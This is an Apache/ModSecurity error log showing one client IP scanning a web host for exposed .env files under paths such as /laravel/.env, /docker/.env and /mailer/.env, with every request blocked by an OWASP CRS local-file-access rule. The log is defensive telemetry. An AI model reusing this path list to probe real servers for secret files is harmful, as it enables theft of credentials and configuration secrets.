[Sat Jul 26 14:23:44.790533 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9CwAAAAM&quot;]
[Sat Jul 26 14:23:44.790781 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9CwAAAAM&quot;]
[Sat Jul 26 14:23:44.790948 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9CwAAAAM&quot;]
[Sat Jul 26 14:23:44.812783 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DAAAAAM&quot;]
[Sat Jul 26 14:23:44.812987 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DAAAAAM&quot;]
[Sat Jul 26 14:23:44.813171 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DAAAAAM&quot;]
[Sat Jul 26 14:23:44.835097 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DQAAAAM&quot;]
[Sat Jul 26 14:23:44.835346 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DQAAAAM&quot;]
[Sat Jul 26 14:23:44.835575 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DQAAAAM&quot;]
[Sat Jul 26 14:23:44.857462 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DgAAAAM&quot;]
[Sat Jul 26 14:23:44.857691 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DgAAAAM&quot;]
[Sat Jul 26 14:23:44.857870 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DgAAAAM&quot;]
[Sat Jul 26 14:23:44.879727 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DwAAAAM&quot;]
[Sat Jul 26 14:23:44.879973 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DwAAAAM&quot;]
[Sat Jul 26 14:23:44.880152 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aITI0DkdzR67myhRtfd9DwAAAAM&quot;]
[Sat Jul 26 14:23:45.203419 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9EgAAAAM&quot;]
[Sat Jul 26 14:23:45.203656 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9EgAAAAM&quot;]
[Sat Jul 26 14:23:45.203842 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9EgAAAAM&quot;]
[Sat Jul 26 14:23:45.225719 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9EwAAAAM&quot;]
[Sat Jul 26 14:23:45.225972 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9EwAAAAM&quot;]
[Sat Jul 26 14:23:45.226154 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9EwAAAAM&quot;]
[Sat Jul 26 14:23:45.249693 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FAAAAAM&quot;]
[Sat Jul 26 14:23:45.249931 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FAAAAAM&quot;]
[Sat Jul 26 14:23:45.250110 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FAAAAAM&quot;]
[Sat Jul 26 14:23:45.271864 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FQAAAAM&quot;]
[Sat Jul 26 14:23:45.272080 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FQAAAAM&quot;]
[Sat Jul 26 14:23:45.272267 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FQAAAAM&quot;]
[Sat Jul 26 14:23:45.294074 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FgAAAAM&quot;]
[Sat Jul 26 14:23:45.294283 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FgAAAAM&quot;]
[Sat Jul 26 14:23:45.294467 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FgAAAAM&quot;]
[Sat Jul 26 14:23:45.317633 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FwAAAAM&quot;]
[Sat Jul 26 14:23:45.317854 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FwAAAAM&quot;]
[Sat Jul 26 14:23:45.318038 2025] [:error] [pid 1466108] [client 185.177.72.115:59520] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aITI0TkdzR67myhRtfd9FwAAAAM&quot;]
